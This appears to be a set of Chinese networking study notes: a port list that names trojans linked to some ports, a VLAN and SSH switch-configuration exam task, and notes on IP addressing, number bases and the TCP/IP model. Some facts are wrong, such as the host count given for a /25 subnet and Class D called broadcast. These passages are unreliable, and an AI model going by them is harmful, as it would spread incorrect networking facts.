406端口：交互式邮件支持协议 408端口：Prospero资源管理程序 409端口：Prospero资源节点管理. 410端口：DEC(数据设备公司)远程调试协议 411端口：远程MT协议 412端口：陷阱协定端口 413端口：存储管理服务协议 414端口：信息查询 415端口：B网络 423端口：IBM操作计划和控制开端 424端口：IBM操作计划和控制追踪 425端口：智能计算机辅助设计 427端口：服务起位置 434端口：移动ip代理 435端口：移动ip管理 443端口：基于TLS/SSL的网页浏览端口，能提供加密和通过安全端口传输的另一种HTTP 444端口：简单网络内存分页协议 445端口：Microsoft-DS，为共享开放，震荡波病毒利用，一般应关闭 446端口：DDM-远程关系数据库访问 447端口：DDM-分布式文件管理 448端口：DDM-使用安全访问远程数据库 456端口：木马HACKERS PARADISE开放此端口 458端口：apple quick time软件开放端口 459端口：ampr-rcmd命令 464端口：k密码服务 469端口：广播控制协议 470端口：scx-代理 472端口：ljk-登陆 481端口：Ph服务 487端口：简单异步文件传输 489端口：nest-协议 491端口：go-登陆 499端口：ISO ILL协议 500端口：Internet密钥交换，Lsass开放端口，不能关闭 509端口：陷阱 510端口：FirstClass协议 512端口：远程进程执行 513端口：远程登陆 514端口：cmd命令 515端口：spooler 516端口：可视化数据 518端口：交谈 519端口：unix时间 520端口：扩展文件名称服务器 525端口：时间服务 526端口：新日期 529端口：在线聊天系统服务 530端口：远程过程调用 531端口：聊天 532端口：读新闻 533端口：紧急广播端口 534端口：MegaMedia管理端 537端口：网络流媒体协议 542端口：商业 543端口：Kerberos(软件)v4/v5 544端口：krcmd命令 546端口：DHCPv6 客户端 547端口：DHCPv6 服务器 552端口：设备共享 554端口：Real Time Stream控制协议 555端口：木马PhAse1.0、Stealth Spy、IniKiller开放此端口 556端口：远距离文件服务器 563端口：基于TLS/SSL的网络新闻传输协议 564端口：plan 9文件服务 565端口：whoami查询 566端口：streettalk 567端口：banyan-rpc(远程过程调用) 568端口：DPA成员资格 569端口：MSN成员资格 570端口：demon(调试监督程序) 571端口：udemon(调试监督程序) 572端口：声纳 573端口：banyan-贵宾 574端口：FTP软件代理系统 581端口：Bundle Discovery 协议 582端口：SCC安全 583端口：Philips视频会议 584端口：密钥服务器 585端口：IMAP4+SSL (Use 993 instead) 586端口：密码更改 587端口：申请 589端口：Eye连结 595端口：CAB协议 597端口：PTC名称服务 598端口：SCO网络服务器管理3 599端口：Aeolon Core协议 600端口：Sun IPC(进程间通讯)服务器 601端口：可靠系统登陆服务 604端口：通道 606端口：Cray统一资源管理 608端口：发送人-传递/提供 文件传输器 609端口：npmp-陷阱 610端口：npmp-本地 611端口：npmp-gui( 图形用户界面) 612端口：HMMP指引 613端口：HMMP操作 614端口：SSL(加密套接字协议层)shell(壳) 615端口：Internet配置管理 616端口：SCO(Unix系统)系统管理服务器 617端口：SCO桌面管理服务器 619端口：Compaq(康柏公司)EVM 620端口：SCO服务器管理 623端口：ASF远程管理控制协议 624端口：Crypto管理 631端口：IPP (Internet打印协议) 633端口：服务更新(Sterling软件) 637端口：局域网服务器 641端口：repcmd命令 647端口：DHCP(动态主机配置协议)Failover 648端口：注册登记协议(RRP) 649端口：Cadview-3d软件协议 666端口：木马Attack FTP、Satanz Backdoor开放此端口 808端口：ccproxy http/gopher/ftp (over http)协议 1001端口：木马Silencer，WebEx开放端口 1011端口：木马Doly开放端口 1024端口：动态端口的开始,木马yai开放端口 1025端口：inetinfo.exe(互联网信息服务)木马netspy开放端口 1026端口：inetinfo.exe(互联网信息服务) 1027端口：应用层网关服务 1030端口：应用层网关服务 1031端口：BBN IAD 1033端口：本地网络信息端口 1034端口：同步通知 1036端口：安全部分传输协议 1070端口：木马Psyber Stream，Streaming Audio开放端口 1071端口：网络服务开放端口 1074端口：网络服务开放端口 1080端口：Socks这一协议以通道方式穿过防火墙，允许防火墙后面的人通过一个IP地址访问INTERNET 1110端口：卡巴斯基反病毒软件开放此端口 1125端口：卡巴斯基反病毒软件开放此端口 1203端口：许可证生效端口 1204端口：登陆请求监听端口 1206端口：Anthony数据端口 1222端口：SNI R&D网络端口 1233端口：普遍的附录服务器端口 1234端口：木马SubSeven2.0、Ultors Trojan开放此端口 1243端口：木马SubSeven1.0/1.9开放此端口 1245端口：木马Vodoo，GabanBus，NetBus，Vodoo开放此端口 1273端口：EMC-网关端口 1289端口：JWalk服务器端口 1290端口：WinJa服务器端口 1333端口：密码策略(网络服务)(svchost.exe) 1334端口：网络服务(svchost.exe) 1335端口：数字公正协议 1336端口：即时聊天协议(svchost.exe) 1349端口：注册网络协议端口 1350端口：注册网络协议端口 1371端口：富士通配置协议端口 1372端口：富士通配置协议端口 1374端口：EPI软件系统端口 1376端口：IBM个人-个人软件端口 1377端口：Cichlid许可证管理端口 1378端口：Elan许可证管理端口 1380端口：Telesis网络许可证管理端口 1381端口：苹果网络许可证管理端口 1386端口：CheckSum 许可证管理端口 1387端口：系统开放端口(rundll32.exe) 1388端口：数据库高速缓存端口 1389端口：文档管理端口 1390端口：存储控制器端口 1391端口：存储器存取服务器端口 1392端口：打印管理端口 1393端口：网络登陆服务器端口 1394端口：网络登陆客户端端口 1395端口：PC工作站管理软件端口 1396端口：DVL活跃邮件端口 1397端口：音频活跃邮件端口 1398端口：视频活跃邮件端口 1399端口：Cadkey许可证管理端口 1433端口：Microsoft的SQL服务开放端口 1434端口：Microsoft的SQL服务监视端口 1492端口：木马FTP99CMP开放此端口 1509端口：木马Psyber Streaming Server开放此端口 1512端口：Microsoft Windows网络名称服务 1524端口：许多攻击脚本安装一个后门SHELL于这个端口 1600端口：木马Shivka-Burka开放此端口 1645端口：远程认证拨号用户服务 1701端口：第2层隧道协议 1731端口：NetMeeting音频调用控制 1801端口：Microsoft消息队列服务器 1807端口：木马SpySender开放此端口 1900端口：可被利用ddos攻击，一般关闭 1912端口：金山词霸开放此端口 1981端口：木马ShockRave开放此端口 1999端口：木马BackDoor,yai开放此端口 2000端口：木马GirlFriend 1.3、Millenium 1.0开放此端口 2001端口：木马Millenium 1.0、Trojan Cow,黑洞2001开放此端口 2003端口：GNU 查询 2023端口：木马Pass Ripper开放此端口 2049端口：NFS程序常运行于此端口 2115端口：木马Bugs开放此端口 2140端口：木马Deep Throat 1.0/3.0，The Invasor开放此端口 2500端口：应用固定端口会话复制的RPC客户 2504端口：网络平衡负荷 2565端口：木马Striker开放此端口 2583端口：木马Wincrash 2.0开放此端口 2801端口：木马Phineas Phucker开放此端口 2847端口：诺顿反病毒服务开放此端口 3024端口：木马WinCrash开放此端口 3128端口：squid http代理服务器开放此端口 3129端口：木马Master Paradise开放此端口 3150端口：木马The Invasor,deep throat开放此端口 3210端口：木马SchoolBus开放此端口 3306端口：MySQL开放此端口 3333端口：木马Prosiak开放此端口 3389端口：WINDOWS 2000终端开放此端口 3456端口：inetinfo.exe(互联网信息服务)开放端口，VAT默认数据 3457端口：VAT默认控制 3527端口：Microsoft消息队列服务器 3700端口：木马Portal of Doom开放此端口 3996端口：木马RemoteAnything开放此端口 4000端口：腾讯QQ客户端开放此端口 4060端口：木马RemoteAnything开放此端口 4092端口：木马WinCrash开放此端口 4133端口：NUTS Bootp服务器 4134端口：NIFTY-Serve HMI协议 4141端口：Workflow服务器 4142端口：文档服务器 4143端口：文档复制 4145端口：VVR控制 4321端口：远程Who Is查询 4333端口：微型sql服务器 4349端口：文件系统端口记录 4350端口：网络设备 4351端口：PLCY网络服务 4453端口：NSS警报管理 4454端口：NSS代理管理 4455端口：PR聊天用户 4456端口：PR聊天服务器 4457端口：PR注册 4480端口：Proxy+ HTTP代理端口 4500端口：Lsass开放端口，不能关闭 4547端口：Lanner许可管理 4555端口：RSIP端口 4590端口：木马ICQTrojan开放此端口 4672端口：远程文件访问服务器 4752端口：简单网络音频服务器 4800端口：Icona快速消息系统 4801端口：Icona网络聊天 4802端口：Icona许可系统服务器 4848端口：App服务器-Admin HTTP 4849端口：App服务器-Admin HTTPS 4950端口：木马IcqTrojan开放5000端口 5000端口：木马blazer5，Sockets de Troie开放5000端口，一般应关闭 5001端口：木马Sockets de Troie开放5001端口 5006端口：wsm服务器 5007端口：wsm服务器ssl 5022端口：mice服务器 5050端口：多媒体会议控制协议 5051端口：ITA代理 5052端口：ITA管理 5137端口：MyCTS服务器端口 5150端口：Ascend通道管理协议 5154端口：BZFlag游戏服务器 5190端口：America-Online(美国在线) 5191端口：AmericaOnline1(美国在线) 5192端口：AmericaOnline2(美国在线) 5193端口：AmericaOnline3(美国在线) 5222端口：Jabber客户端连接 5225端口：HP(惠普公司)服务器 5226端口：HP(惠普公司) 5232端口：SGI绘图软件端口 5250端口：i网关 5264端口：3Com网络端口1 5265端口：3Com网络端口2 5269端口：Jabber服务器连接 5306端口：Sun MC组 5321端口：木马Sockets de Troie开放5321端口 5400端口：木马Blade Runner开放此端口 5401端口：木马Blade Runner开放此端口 5402端口：木马Blade Runner开放此端口 5405端口：网络支持 5409端口：Salient数据服务器 5410端口：Salient用户管理 5415端口：NS服务器 5416端口：SNS网关 5417端口：SNS代理 5421端口：网络支持2 5423端口：虚拟用户 5427端口：SCO-PEER-TTA(Unix系统) 5432端口：PostgreSQL数据库 5550端口：木马xtcp开放此端口 5569端口：木马Robo-Hack开放此端口 5599端口：公司远程安全安装 5600端口：公司安全管理 5601端口：公司安全代理 5631端口：pcANYWHERE(软件)数据 5632端口：pcANYWHERE(软件)数据 5673端口：JACL消息服务器 5675端口：V5UA应用端口 5676端口：RA管理 5678端口：远程复制代理连接 5679端口：直接电缆连接 5720端口：MS-执照 5729端口：Openmail用户代理层 5730端口：Steltor's日历访问 5731端口：netscape(网景)suiteware 5732端口：netscape(网景)suiteware 5742端口：木马WinCrash1.03开放此端口 5745端口：fcopy-服务器 5746端口：fcopys-服务器 5755端口：OpenMail(邮件服务器)桌面网关服务器 5757端口：OpenMail(邮件服务器)X.500目录服务器 5766端口：OpenMail (邮件服务器)NewMail服务器 5767端口：OpenMail (邮件服务器)请求代理曾(安全) 5768端口：OpenMail(邮件服务器) CMTS服务器 5777端口：DALI端口 5800端口：虚拟网络计算 5801端口：虚拟网络计算 5802端口：虚拟网络计算HTTP访问, d 5803端口：虚拟网络计算HTTP访问, d 5900端口：虚拟网络计算机显示0 5901端口：虚拟网络计算机显示1 5902端口：虚拟网络计算机显示2 5903端口：虚拟网络计算机显示3 6000端口：X Window 系统 6001端口：X Window 服务器 6002端口：X Window 服务器 6003端口：X Window 服务器 6004端口：X Window 服务器 6005端口：X Window 服务器 6006端口：X Window 服务器 6007端口：X Window 服务器 6008端口：X Window 服务器 6009端口：X Window 服务器 6379端口：Redis数据库端口 6456端口：SKIP证书发送 6471端口：LVision许可管理器 6505端口：BoKS管理私人端口 6506端口：BoKS管理公共端口 6507端口：BoKS Dir服务器,私人端口 6508端口：BoKS Dir服务器,公共端口 6509端口：MGCS-MFP端口 6510端口：MCER端口 6566端口：SANE控制端口 6580端口：Parsec主服务器 6581端口：Parsec对等网络 6582端口：Parsec游戏服务器 6588端口：AnalogX HTTP代理端口 6631端口：Mitchell电信主机 6667端口：Internet多线交谈 6668端口：Internet多线交谈 6670端口：木马Deep Throat开放此端口 6671端口：木马Deep Throat 3.0开放此端口 6699端口：Napster文件(MP3)共享服务 6701端口：KTI/ICAD名称服务器 6788端口：SMC软件-HTTP 6789端口：SMC软件-HTTPS 6841端口：Netmo软件默认开放端口 6842端口：Netmo HTTP服务 6883端口：木马DeltaSource开放此端口 6939端口：木马Indoctrination开放此端口 6969端口：木马Gatecrasher、Priority开放此端口 6970端口：real音频开放此端口 7000端口：木马Remote Grab开放此端口 7002端口：使用者& 组 数据库 7003端口：音量定位数据库 7004端口：AFS/Kerberos认证服务 7005端口：音量管理服务 7006端口：错误解释服务 7007端口：Basic监督进程 7008端口：服务器-服务器更新程序 7009端口：远程缓存管理服务 7011端口：Talon软件发现端口 7012端口：Talon软件引擎 7013端口：Microtalon发现 7014端口：Microtalon通信 7015端口：Talon网络服务器 7020端口：DP服务 7021端口：DP服务管理 7100端口：X字型服务 7121端口：虚拟原型许可证管理 7300端口：木马NetMonitor开放此端口 7301端口：木马NetMonitor开放此端口 7306端口：木马NetMonitor，NetSpy1.0开放此端口 7307端口：木马NetMonitor开放此端口 7308端口：木马NetMonitor开放此端口 7323端口：Sygate服务器端 7511端口：木马聪明基因开放此端口 7588端口：Sun许可证管理 7597端口：木马Quaz开放此端口 7626端口：木马冰河开放此端口 7633端口：PMDF管理 7674端口：iMQ SSL通道 7675端口：iMQ通道 7676端口：木马Giscier开放此端口 7720端口：Med图象入口 7743端口：Sakura脚本传递协议 7789端口：木马ICKiller开放此端口 7797端口：Propel连接器端口 7798端口：Propel编码器端口 8000端口：腾讯QQ服务器端开放此端口 8001端口：VCOM通道 8007端口：Apache(类似iis)jServ协议1.x 8008端口：HTTP Alternate 8009端口：Apache(类似iis)JServ协议1.3 8010端口：Wingate代理开放此端口 8011端口：木马way2.4开放此端口 8022端口：OA-系统 8080端口：WWW代理开放此端口 8081端口：ICECap控制台 8082端口：BlackIce(防止黑客软件)警报发送到此端口 8118端口：Privoxy HTTP代理 8121端口：Apollo数据端口 8122端口：Apollo软件管理端口 8181端口：Imail 8225端口：木马灰鸽子开放此端口 8311端口：木马初恋情人开放此端口 8351端口：服务器寻找 8416端口：eSpeech Session协议 8417端口：eSpeech RTP协议 8473端口：虚拟点对点 8668端口：网络地址转换 8786端口：Message客户端 8787端口：Message服务器 8888端口：Nginx服务器的端口 8954端口：Cumulus管理端口 9000端口：CS监听 9001端口：ETL服务管理 9002端口：动态id验证 9021端口：Pangolin验证 9022端口：PrivateArk远程代理 9023端口：安全网络登陆-1 9024端口：安全网络登陆-2 9025端口：安全网络登陆-3 9026端口：安全网络登陆-4 9101端口：Bacula控制器 9102端口：Bacula文件后台 9103端口：Bacula存储邮件后台 9111端口：DragonIDS控制台 9200端口：Elasticsearch服务器端口 9217端口：FSC通讯端口 9281端口：软件传送端口1 9282端口：软件传送端口2 9346端口：C技术监听 9400端口：木马Incommand 1.0开放此端口 9401端口：木马Incommand 1.0开放此端口 9402端口：木马Incommand 1.0开放此端口 9594端口：信息系统 9595端口：Ping Discovery服务 9800端口：WebDav源端口 9801端口：Sakura脚本转移协议-2 9802端口：WebDAV Source TLS/SSL 9872端口：木马Portal of Doom开放此端口 9873端口：木马Portal of Doom开放此端口 9874端口：木马Portal of Doom开放此端口 9875端口：木马Portal of Doom开放此端口 9899端口：木马InIkiller开放此端口 9909端口：域名时间 9911端口：SYPECom传送协议 9989端口：木马iNi-Killer开放此端口 9990端口：OSM Applet程序服务器 9991端口：OSM事件服务器 10000端口：网络数据管理协议 10001端口：SCP构造端口 10005端口：安全远程登陆 10008端口：Octopus多路器 10067端口：木马iNi-Killer开放此端口 10113端口：NetIQ端点 10115端口：NetIQ端点 10116端口：NetIQVoIP鉴定器 10167端口：木马iNi-Killer开放此端口 11000端口：木马SennaSpy开放此端口 11113端口：金山词霸开放此端口 11233端口：木马Progenic trojan开放此端口 12076端口：木马Telecommando开放此端口 12223端口：木马Hack'99 KeyLogger开放此端口 12345端口：木马NetBus1.60/1.70、GabanBus开放此端口 12346端口：木马NetBus1.60/1.70、GabanBus开放此端口 12361端口：木马Whack-a-mole开放此端口 13223端口：PowWow 客户端，是Tribal Voice的聊天程序 13224端口：PowWow 服务器，是Tribal Voice的聊天程序 16959端口：木马Subseven开放此端口 16969端口：木马Priority开放此端口 17027端口：外向连接 19191端口：木马蓝色火焰开放此端口 20000端口：木马Millennium开放此端口 20001端口：木马Millennium开放此端口 20034端口：木马NetBus Pro开放此端口 22122端口：fastdfs服务器默认端口 21554端口：木马GirlFriend开放此端口 22222端口：木马Prosiak开放此端口 23444端口：木马网络公牛开放此端口 23456端口：木马Evil FTP、Ugly FTP开放此端口 25793端口：Vocaltec地址服务器 26262端口：K3软件-服务器 26263端口：K3软件客户端 26274端口：木马Delta开放此端口 27017端口：mongoDB数据库默认端口 27374端口：木马Subseven 2.1开放此端口 30100端口：木马NetSphere开放此端口 30129端口：木马Masters Paradise开放此端口 30303端口：木马Socket23开放此端口 30999端口：木马Kuang开放此端口 31337端口：木马BO(Back Orifice)开放此端口 31338端口：木马BO(Back Orifice)，DeepBO开放此端口 31339端口：木马NetSpy DK开放此端口 31666端口：木马BOWhack开放此端口 31789端口：Hack-a-tack 32770端口：sun solaris RPC服务开放此端口 33333端口：木马Prosiak开放此端口 33434端口：路由跟踪 34324端口：木马Tiny Telnet Server、BigGluck、TN开放此端口 36865端口：KastenX软件端口 38201端口：Galaxy7软件数据通道 39681端口：TurboNote默认端口 40412端口：木马The Spy开放此端口 40421端口：木马Masters Paradise开放此端口 40422端口：木马Masters Paradise开放此端口 40423端口：木马Masters Paradise开放此端口 40426端口：木马Masters Paradise开放此端口 40843端口：CSCC 防火墙 43210端口：木马SchoolBus 1.0/2.0开放此端口 43190端口：IP-PROVISION 44321端口：PCP服务器(pmcd) 44322端口：PCP服务器(pmcd)代理 44334端口：微型个人防火墙端口 44442端口：ColdFusion软件端口 44443端口：ColdFusion软件端口 44445端口：木马Happypig开放此端口 45576端口：E代时光专业代理开放此端口 47262端口：木马Delta开放此端口 47624端口：Direct Play服务器 47806端口：ALC协议 48003端口：Nimbus网关 50505端口：木马Sockets de Troie开放此端口 50766端口：木马Fore开放此端口 53001端口：木马Remote Windows Shutdown开放此端口 54320端口：木马bo2000开放此端口 54321端口：木马SchoolBus 1.0/2.0开放此端口 61466端口：木马Telecommando开放此端口 65000端口：木马Devil 1.03开放此端口 65301端口：PC Anywhere软件开放端口{/collapse-item}{/collapse}
试题编号：J1-1：交换机设备安装与调试1.A公司网络规划如下图所示，要求内网各部门要有业务分割，又能相互访问。请配置好相关设备并调试通畅，公司网络IP地址分配如下:配置信息VLAN规划 VLAN编号部门员工数子网号网关地址子网掩码VLAN10财务部52192.168.1.0192.168.1.62255.255.255.192VLAN20市场部48192.168.1.64192.168.1.126255.255.255.192VLAN30行政部32192.168.1.128192.168.1.190255.255.255.192VLAN40研发部16192.168.1.192192.168.1.254255.255.255.192管理VLAN VLAN编号网络地址子网掩码VLAN1192.168.2.1255.255.255.192PC编号IP地址子网掩码PC1192.168.1.1255.255.255.192PC2192.168.1.65255.255.255.192PC3192.168.1.129255.255.255.192PC4192.168.1.193255.255.255.192任务一：网络设备互联(10分)①选择合适的网络互联设备进行组网，根据考场实际情况使用真实设备或者使用模拟器完成。(4分)②选择合适的连接线缆，用于连接网络设备。(3分)③根据需要，把网线连接到各网络设备接口上，注意：交换机S1的1与交换机S2的1口相连，交换机S1的2口与交换机S3的2口相连，交换机S2的3口与交换机S3的3口相连。(3分)第二部分：交换机基本配置(30分)任务二：交换机基本配置(30分)①交换机S1配置主机名为S1，交换机S2配置主机名为S2，交换机S3配置主机名为S3。(6分)②在交换机S1上配置CONSOLE口登录口令为class，进入系统视图口令为huawei。(6分)③在交换机S1上配置管理IP，并开启SSH远程登陆功能:域cisco.com、用户名Admin和密码abcde、密钥长度1024、SSH版本2。(12分)④在交换机S1上使用适当的标语文本警告未经授权的访问。以下是示例文本：Authorized access only.Violators will be prosecuted to the full extent of the law.(3分)⑤保存到目前为止的配置信息，防止掉电丢失。(3分)第三部分：交换机功能配置(45分)任务三：划分vlan(26分)①根据需求，在交换机S1上划分vlan，创建vlan10，vlan20，vlan30，vlan40。(4分)②根据需求，在交换机S2上划分vlan，创建vlan10，vlan20，vlan30，vlan40。(4分)③根据需求，在交换机S3上划分vlan，创建vlan10，vlan20，vlan30，vlan40。(4分)④在交换机S2上把F0/11-15放到vlan10，F0/16-20放到vlan20。(4分)⑤在交换机S3上把F0/11-15放到vlan30，F0/16-20放到vlan40。(4分)⑥交换机S1的F0/1、F0/2与交换机S2的F0/1、F0/3设置为trunk。(4分)⑦把交换机S3的F0/2、F0/3设置为trunk。(2分)任务四：配置生成树(9分)①将交换机S1配置为根网桥。(9分)任务五：不同vlan之间的通信(10分)①在交换机S1中开启路由功能，同时给每个SVI接口配置IP地址，作为对应VLAN的网关地址。(10分)拓扑图搭建PC1 连接S1交换机 配置Console登录密码<tianzhihua_s1>system-view // 进入系统视图 [tianzhihua_s1]user-interface console 0 // 配置console口 [tianzhihua_s1-ui-console0]set authentication password cipher class // 设置密码为class超级密码<tianzhihua_s1>system-view [Huawei]super password cipher huawei进入交换机三种方案console // 终端口 vty // 都走这两种协议 telnet、ssh web // 网页控制
IP地址IP地址是一个32位的二进制数，通常被分割为4个 "8位二进制数" (也就是4个字节)。通常用 "点分十进制" 表示成（A.B.C.D)的形式，其中A、B、C、D都是0~255之间的十进制整数。在一个子网中第一个和最后一个为保留地址，所以在一般情况局域网中可使用的IP为1~254。IP类别网络标识可支持网络数目主机标识每个网络支持主机数A类前8位（左第一个为0)2^7-2=126后24位256^3-2=16777214B类前16位（左前两个为10）2^14=16384后16位256^2-2=65534C类前24位（左前三个为110）2^21=2097152后8位256-2=254D类IP地址范围从224.0.0.0 - 239.255.255.255D类IP地址为组播地址，一般用于多路广播用户E类IP地址范围为240.0.0.0 - 255.255.255.255此类为保留地址，留待特殊用途// 全部1十进制那就是255 A：00000000 ~ 01111111 64 + 32 + 16 + 8 + 4 + 2 + 1 // 加起来就是结果127 B：10000000 ~ 10111111 128 32 16 8 4 2 1 C：11000000 ~ 11011111 128 64 16 8 4 2 1 D：11100000 ~ 11101111 128 64 32 8 4 2 1 E：11110000 ~ 11111111 128 64 32 16 8 4 2 1 把是的1加起来就行了等于127，0是一个保留地址，127是一个测试地址。 A类地址范围：1 ~ 126 // 大型网络 B类地址范围：128 ~ 191 // 中型网络 C类地址范围：192 ~ 223 // 小型网络 D类地址范围：224 ~ 239 // 广播地址（路由器用的） E类地址范围：240 ~ 255 // 实验保留（我们用不到）子网掩码简单来说将一个IP地址区分为，网络位和主机位，同一网络位的IP地址能互相通信，不需要通过网关，如果是不同的网络位IP地址进行通信，就需要网关路由转发。192.168.1.0 // C类IP地址 255.255.255.0 // 子网掩码24位 255转二进制是8个1，这里有3组8 3*8=24 11111111.11111111.11111111.00000000 // 连续的1对应的是网络号和子网号 0是主机位 // 地址从 256 - 2 = 254 可以存储1 ~ 254个主机 202.136.10.20 // 20转二进制 00010100 255.255.255.128 // 128转二进制 10000000 20：00010100 // 进行与运算 两个是1那么就是1 一个不是1那就是0 128：10000000 // 两个真那就是真一个真一个假那就是假 可以发现都没对上那就是0 202.136.10.0 // 255全是1那么就是它本身直接写下来 与出来的结果是0加上 255.255.255 // 这个掩码是24位再加上10000000里有一位就是25掩码范围 202.136.10.0/25 // 能储存 2 ^ 25 - 2 = 33554430 个主机 在划分的ip地址中有两个地址是不能用的，那就是网络号和广播地址，所以这里要减去2。 255.255.255.1281.有一个子网计算工具，百度下就有可以很形象的看出来。进制表示有（十进制、二进制、八进制、十六进制）在日常生活中我们用的是十进制，一位的十进制数的范围是0~9如果要表示10，那么就要用两位的十进制数。二进制是计算机用的更适合逻辑运算 二进制只有两种状态1和0表示真和假 类似一个信号开和关一样。1 字节(B)=8 比特(bit)1个字节（Byte）等于8个bit位，每个bit位是0/1两种状态，也就是说一个字节可以表示256个状态，计算机里用字节来作为最基本的存储单位。字节间换算1kB = 1000B（字节, Byte）。1KB=1024B；1MB=1024KB=1024×1024B。1B（byte，字节）= 8 bit（见下文）；1KB（Kilobyte，千字节）=1024B= 2^10 B；1MB（Megabyte，兆字节，百万字节，简称"兆"）=1024KB= 2^20 B；1GB（Gigabyte，吉字节，十亿字节，又称"千兆"）=1024MB= 2^30 B；4字节能存储多大的数字呢?有符号：2 ^ 31 - 1 = 2147483647 无符号：2 ^ 32 - 1 = 4294967295二进制转十进制01100000 转十进制是 96 怎么得出来的呢 很简单 按2的倍数开始计位如下： 0 1 1 0 0 0 0 0 128 64 32 16 8 4 2 1 有1的就把下面的倍数加起来就是了 64 + 32 = 96 这就是结果 十进制转二进制100 转二进制 快速反推思路 在64 ~ 1内多少加起来等于100 64 32 16 8 4 2 1 很显然 64 + 32 + 4 = 100 这样就得出来了 直接补上就是了 64 32 4 都是1其他的是0 最终结果：01100100 二进制转十六进制10：1 0 1 0 8 4 2 1 // 把是1的位数加起来就行 8 + 2 = 10 = A // 在16进制里10就A 38：0 0 1 1 1 0 0 0 // 4位为一组 后面有三个0 不用加0 因为四位一组 8 4 2 1 8 4 2 1 // 前4位2 + 1 = 3 后4位是8 拼接起来 3 + 8 = 38 // 十六进制 38二进制转八进制10：1 0 1 0 1 4 2 1 // 把是1的位数加起来就行 1 + 2 = 12 // 1和2拼接起来 70：0 0 1 1 1 0 0 0 // 3位为一组 有三个0 要加一个0 因为3位一组 2 1 4 2 1 4 2 1 // 前3位4 + 2 + 1 = 7 后3位是0 拼接起来 7 + 0 = 70 // 八进制 70
TCP/IP五层模型在我们平时上网刷视频、发微信、逛淘宝，背后全靠TCP/IP五层模型在“默默干活”！这五层就像工厂的流水线，一层接一层处理数据，从用户点击操作到数据传到对方设备，每一层都有明确的分工，缺一不可。我把这五层的作用、协议和实际应用掰扯清楚，用大白话记下来，方便后续复习，也能搞懂平时上网遇到的一些小问题（比如ping不通、网页打不开可能出在哪个层）。先放一张OSI参考模型和TCP/IP五层模型的对应关系图，看着更直观——TCP/IP把OSI的应用层、表示层、会话层合并成了一层，更简洁实用：再补个详细对比表，把每层的核心作用也写上，一目了然：OSI参考模型TCP/IP五层模型核心作用应用层应用层直接对接用户App，比如微信、浏览器表示层-功能并入应用层，负责数据格式转换、加密等会话层-功能并入应用层，负责建立、维护通信会话传输层传输层确保数据在两台设备间“靠谱”传输网络层网络层给数据找路线，从源主机送到目标主机数据链路层数据链路层同一局域网内“送货上门”物理层物理层把数据变成电信号/光信号，通过网线、光纤传输第5层 应用层（最上层，直接对接用户）应用层是TCP/IP协议栈的“门面”，直接给咱们用的App提供服务接口。它不管数据怎么在网络上跑，只关心“用户要干什么”——比如浏览器要访问网页、微信要发消息、邮箱要发邮件，这些需求都由应用层来处理。简单说，应用层就是“App和网络的桥梁”，每个应用都有对应的协议，就像不同的快递有不同的快递规则：HTTP/HTTPS：网页浏览专用，比如打开百度、淘宝，用的就是这个协议；HTTPS比HTTP多了加密，支付、登录的时候用，更安全。FTP：文件传输协议，比如程序员往服务器上传代码、下载大文件，常用FTP。SMTP/POP3/IMAP：电子邮件协议，SMTP负责发邮件，POP3/IMAP负责收邮件，咱们用QQ邮箱、网易邮箱，背后就是这俩协议在干活。DNS：域名解析协议，这个超重要！咱们记网址（比如www.baidu.com）比记IP地址（比如180.101.49.11）容易多了，DNS就是把网址翻译成IP地址的“翻译官”，没有它，咱们得背一堆数字才能上网。其他常用协议：SSH（远程登录服务器，程序员常用）、Telnet（早期远程登录，现在基本被SSH取代，不安全）。我平时遇到的“网页打不开”，很多时候就是应用层的问题——比如DNS解析失败（网址翻译错了）、HTTP协议报错（404页面不存在、500服务器出错）。第4层 传输层（核心层，负责“靠谱传输”）应用层把数据交下来后，传输层的任务就是“把数据从源设备的App，靠谱地传到目标设备的App”。它就像快递员，不仅要把包裹送过去，还要确保包裹没丢、没坏、没顺序错乱。传输层主要靠两个核心协议，各有各的用处，按需选择：TCP（传输控制协议）：“靠谱但稍慢”的协议，主打一个“万无一失”。它会建立连接（三次握手）、确认数据接收（对方收到会回复ACK）、重传丢失的数据、按顺序组装数据，还会做流量控制（避免发送太快导致对方处理不过来）和拥塞控制（避免网络堵车）。适用场景：需要高可靠性的应用，比如网购付款、网页加载、文件传输、电子邮件——总不能付款的时候数据丢了，或者收邮件的时候内容少了一半吧？UDP（用户数据报协议）：“快速但不靠谱”的协议，主打一个“高效快捷”。它不建立连接、不确认接收、不重传数据，发出去就不管了，虽然可能丢包，但延迟极低。适用场景：对速度要求高、能容忍少量丢包的应用，比如直播、打游戏、视频通话——直播的时候偶尔卡一下、丢个帧不影响整体观看，要是用TCP，为了重传数据导致延迟，直播就没法看了。传输层还有个关键概念：端口号。比如一台电脑上同时开着微信、浏览器、QQ，传输层靠端口号区分这些App——浏览器用80端口（HTTP）、443端口（HTTPS），微信用自己的专属端口，这样数据才不会传错地方。第3层 网络层（路由层，负责“找路线”）传输层把数据交下来后，网络层的任务就是“给数据找一条从源主机到目标主机的路线”。它不管数据在App之间怎么传，也不管在局域网内怎么传，只关心“跨网络的路由选择”——比如从家里的电脑（连WiFi）发数据到百度的服务器（在遥远的机房），中间要经过路由器、网关、运营商网络，网络层就是这个“指路明灯”。网络层的核心协议和功能：IP协议（互联网协议）：给每台设备分配唯一的“身份证”——IP地址（比如IPv4的192.168.1.1，IPv6的2001:0db8:85a3:0000:0000:8a2e:0370:7334），并根据IP地址选择路由。没有IP协议，数据就不知道该往哪儿跑，互联网就成了“无头苍蝇”。ICMP协议（互联网控制消息协议）：网络的“故障报警器”，负责传输控制信息和错误报告。比如咱们常用的ping命令，就是通过ICMP协议发送请求包，如果对方能收到并回复，说明网络连通；如果收不到，可能是路由出问题了，或者对方设备不可达。路由选择：路由器就是网络层的核心设备，它会维护一张“路由表”，记录不同IP地址段对应的转发路径。比如从家里的电脑发数据到百度服务器，路由器会判断“这条数据要先发到小区网关，再到运营商机房，最后到百度服务器”。我平时遇到的“ping不通某个网站”，大概率是网络层的问题——比如IP地址配置错误、路由表出错、ICMP协议被防火墙屏蔽了。第2层 